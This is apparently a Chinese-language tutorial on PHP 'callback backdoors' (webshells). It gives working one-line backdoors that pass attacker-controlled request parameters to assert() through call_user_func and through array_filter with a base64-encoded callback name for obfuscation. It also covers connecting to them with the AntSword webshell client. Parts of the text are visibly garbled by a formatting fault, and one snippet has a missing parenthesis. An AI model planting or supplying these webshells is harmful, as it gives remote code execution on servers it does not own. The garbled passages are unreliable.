回调后门概述
回调后门(Reverse Shell)是一种常见的攻击方式,攻击者通过受害主机主动连接到远程服务器(攻击者控制的机器),从而获得远程控制权限。
工作原理
- 受害者主机 运行一个恶意代码,尝试连接攻击者控制的服务器。
- 攻击者主机 监听特定端口,一旦连接建立,就可以执行任意命令。
1. 初始的回调后门
call_user_func('assert',$_REQUEST['pass'];
代码解析:
- call_user_func():把第一个参数作为回调函数调用
- assert():用于执行字符串代码
- $_REQUEST[‘pass’]:攻击者控制的输入
攻击示例
call_user_func('assert',$_REQUEST['pass']);
执行phpinfo()查看PHP环境信息,通过向pass传递phpinfo(),则代码执行后回显PHP版本信息
蚁剑连接webshell
失败解析
- assert( c o d e ) ; 等价于 i f ( ! e v a l ( code); 等价于 if (!eval( code);等价于if(!eval(code)) throw new AssertionError();
- assert($_POST[123]); 的问题是,如果 $_POST[123] 是个未定义变量或者非字符串,它会返回 NULL,导致 assert(NULL); 直接返回 false,没有实际执行任何代码。
- 假如eval传入的是字符串形式的php代码,assert()解析后相当于eval($_POST[]123),从而执行传入的任意命令
蚁剑默认发送的payload
- 当body传pass= P O S T [ 123 ] 时, a s s e r t ( _POST[123]时,assert( POST[123]时,assert(_POST[123]);可能解析为assert(NULL),或者assert(空字符串),直接返回false,所以没有返回值
2.数组操作的单参数回调后门
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
代码解析:
- array():创建数组,包含用户传入的 $_POST[‘pass’]。
- array_filter():使用回调函数过滤数组元素。
- base64_decode($e):解码后作为回调函数。
- 所以e传递assert的Base64编码(YXNzZXJ0),则 array_filter() 会执行 assert($_POST[‘pass’]);,从而执行传入的PHP代码。